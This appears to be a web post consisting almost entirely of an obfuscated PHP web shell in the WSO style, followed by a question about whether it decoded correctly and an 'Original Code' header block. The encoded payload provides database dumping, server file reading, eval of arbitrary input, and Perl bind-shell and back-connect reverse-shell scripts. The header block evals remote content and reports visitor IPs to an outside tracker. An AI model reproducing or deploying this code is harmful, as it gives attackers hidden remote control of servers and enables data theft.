Twvc2NyNHB0PicpOw0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICINCjxoNj5TcWwgYnIyd3M1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSkgLiJcIj48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9XCIiLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iXCI+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX3Axc3MgdjFsMzU9XCIiLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iXCI+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KCTRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KCQk0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCgkJCXN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KCQkJCWMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KCQkJCWMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KCQkJCWMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCgkJCQljMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQoJCQl9DQoJCQkkZGItPmw0c3REYnMoKTsNCgkJCTVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQoJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KCQkJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQoJCQl9DQoJCQk1Y2gyICc8L3M1bDVjdD4nOw0KCQl9DQoJCTVsczUgNWNoMiAkdG1wOw0KCX01bHM1DQoJCTVjaDIgJHRtcDsNCgk1Y2gyICI8L3RkPg0KCQkJCTx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAybmNsNGNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdDFibDU+DQoJCTxzY3I0cHQ+DQogICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgICBmM25jdDQybiBmcyhmKSB7DQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wYSkgZi5wYS52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmM25jdDQybiBzdCh0LGwpIHsNCgkJCQlkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQoJCQkJZC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCgkJCQlkLnNmLnMzYm00dCgpOw0KCQkJfQ0KCQkJZjNuY3Q0Mm4gNHMoKSB7DQoJCQkJZjJyKDQ9MDs0PGQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCgkJCQkJZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkID0gIWQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZDsNCgkJCX0NCgkJPC9zY3I0cHQ+IjsNCgk0Zig0c3M1dCgkZGIpICYmICRkYi0+bDRuayl7DQoJCTVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQoJCQk0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQoJCQkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkJCTVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQoJCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KCQkJCQkkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQoJCQkJCTVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KCQkJCX0NCgkJCQk1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOw0KCQkJCTRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCgkJCQkJJF9QT1NUWydwNiddID0gJ3EzNXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2Ow0KCQkJCQkkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcgLiAkX1BPU1RbJ3BhJ10pOw0KCQkJCQkkbjNtID0gJGRiLT5mNXRjaCgpOw0KCQkJCQkkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNjcjRwdD5kLnNmLjJuczNibTR0PWYzbmN0NDJuKCl7c3QoXCIiIC4gJF9QT1NUWydwYSddIC4gIlwiLCBkLnNmLnBvLnYxbDM1KX08L3NjcjRwdD48c3Axbj4iLiRfUE9TVFsncGEnXS4iPC9zcDFuPiAoeyRuM21bJ24nXX0gcjVjMnJkcykgUDFnNSAjIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT0ncG8nIHYxbDM1PSIgLiAoKDRudCkkX1BPU1RbJ3BvJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICIgMmYgJHAxZzVzIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddLTYpIC4gIiknPiZsdDsgUHI1djwvMT4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPCAkcDFnNXMpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddLS07DQoJCQkJCTRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KCQkJCQkJJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQoJCQkJCTVjaDIgIjxicj48YnI+IjsNCgkJCQl9DQoJCQkJNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCgkJCQkJJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCgkJCQkJNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQoJCQkJCQkkdDR0bDUgPSBmMWxzNTsNCgkJCQkJCTVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuIHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiNhOWE5YTkiPic7DQoJCQkJCQkkbDRuNSA9IDY7DQoJCQkJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkJew0KCQkJCQkJCTRmKCEkdDR0bDUpCXsNCgkJCQkJCQkJNWNoMiAnPHRyPic7DQoJCQkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQoJCQkJCQkJCQk1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQoJCQkJCQkJCXI1czV0KCQ0dDVtKTsNCgkJCQkJCQkJJHQ0dGw1PXRyMzU7DQoJCQkJCQkJCTVjaDIgJzwvdHI+PHRyPic7DQoJCQkJCQkJCSRsNG41ID0gYTsNCgkJCQkJCQl9DQoJCQkJCQkJNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KCQkJCQkJCSRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KCQkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCgkJCQkJCQkJNGYoJHYxbDM1ID09IG4zbGwpDQoJCQkJCQkJCQk1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQoJCQkJCQkJCTVsczUNCgkJCQkJCQkJCTVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCgkJCQkJCQl9DQoJCQkJCQkJNWNoMiAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJNWNoMiAnPC90MWJsNT4nOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCTVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KCQkJCTVjaDIgIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz4iOw0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCJTRUxFQ1QgNiBGUk9NIG15c3FsLjNzNXIgV0hFUkUgYzJuYzF0KGAzczVyYCwgJ0AnLCBgaDJzdGApID0gVVNFUigpIEFORCBgRjRsNV9wcjR2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIDRmKCRkYi0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgfQ0KCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQoJCQkJJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7DQoJCQkJNWNoMiAnPGJyLz48cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5ONXR3MnJrKCkgew0KCXdzMkg1MWQ1cigpOw0KCSRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KCSRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgk1Y2gyICI8aDY+TjV0dzJyayB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYnBwJyx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CNG5kIHAycnQgdDIgL2I0bi9zaCBbcDVybF08L3NwMW4+PGJyLz4NCglQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPg0KCVM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KCTwvZjJybT48YnI+IjsNCgk0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQoJCWYzbmN0NDJuIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQoJCQk0Zigkdyl7DQoJCQkJQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KCQkJCUBmY2wyczUoJHcpOw0KCQkJfQ0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgc2w1NXAoNik7DQoJCQk1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLndzMkV4KCJwcyAxM3ggfCBncjVwIGJwLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQk0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYjFja19jMm5uNWN0X3ApOw0KCQkJJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgc2w1NXAoNik7DQoJCQk1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLndzMkV4KCJwcyAxM3ggfCBncjVwIGJjLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7DQoJNGYoIUAkX1BPU1RbJ3A2J10pIHsNCgkJJDEgPSAxcnIxeSgNCgkJCSIzbjFtNSIgPT4gcGhwXzNuMW01KCksDQoJCQkicGhwX3Y1cnM0Mm4iID0+IHBocHY1cnM0Mm4oKSwNCgkJCSJ3czJfdjVyczQybiIgPT4gV1NPX1ZFUlNJT04sDQoJCQkiczFmNW0yZDUiID0+IEA0bjRfZzV0KCdzMWY1X20yZDUnKQ0KCQkpOw0KCQk1Y2gyIHM1cjQxbDR6NSgkMSk7DQoJfSA1bHM1IHsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCX0NCn0NCjRmKCA1bXB0eSgkX1BPU1RbJzEnXSkgKQ0KCTRmKDRzczV0KCRkNWYxM2x0XzFjdDQybikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJGQ1ZjEzbHRfMWN0NDJuKSkNCgkJJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47DQoJNWxzNQ0KCQkkX1BPU1RbJzEnXSA9ICdTNWNJbmYyJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnMWN0NDJuJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7DQo1eDR0Ow0KPz4NCjw/cGhwIH0/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocCBzNXNzNDJuX3N0MXJ0KCk7IDVycjJyX3I1cDJydDRuZygwKTsgNG40X3M1dCgnZDRzcGwxeV81cnIycnMnLCAwKTsgJDRwdHIxY2s1ciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkdHIxY2s1ciA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyA0ZiAoJF9TRVNTSU9OWyIxM3RoIl0gPT0gRkFMU0UpIHsgJDNybCA9ICJodHRwOi8vcHIyajV0Mi5jZi90cjFjazVyL2JsMmNrbDRzdC50eHQiOyAkZDF0MWEgPSBmNGw1X2c1dF9jMm50NW50cygkM3JsKTsgNXYxbCgnPz4nLiRkMXQxYSk7IDRmICg0bl8xcnIxeSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJGJsMWNrbDRzdCkpIHsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUlwQkxPQ0siKTsgaDUxZDVyKCJMMmMxdDQybjogaHR0cDovL2cyMmdsNS5jMm0iKTsgNXg0dCgpOyB9ID8+IDxjNW50NXI+PGJyIC8+PGJyIC8+PGJyIC8+PGYycm0gbjFtNT0ibDJnMXIiIDRkPSJsMmcxciIgbTV0aDJkPSJwMnN0IiAxY3Q0Mm49IiMiPiA8NG5wM3QgcjVxMzRyNWQgdHlwNT0icDFzc3cycmQiIGNsMXNzPSJmMnJtLWMybnRyMmwiIDRkPSI0bnAzdFM1bmgxIiBuMW01PSI0bnAzdFM1bmgxIiBwbDFjNWgybGQ1cj0iUzVuaDEiPgk8NG5wM3QgdHlwNT0iczNibTR0IiBjbDFzcz0iYnRuIiA0ZD0ibDJnMXJfYiIgdjFsMzU9IkwyZzRuIj48L2Yycm0+PC9jNW50NXI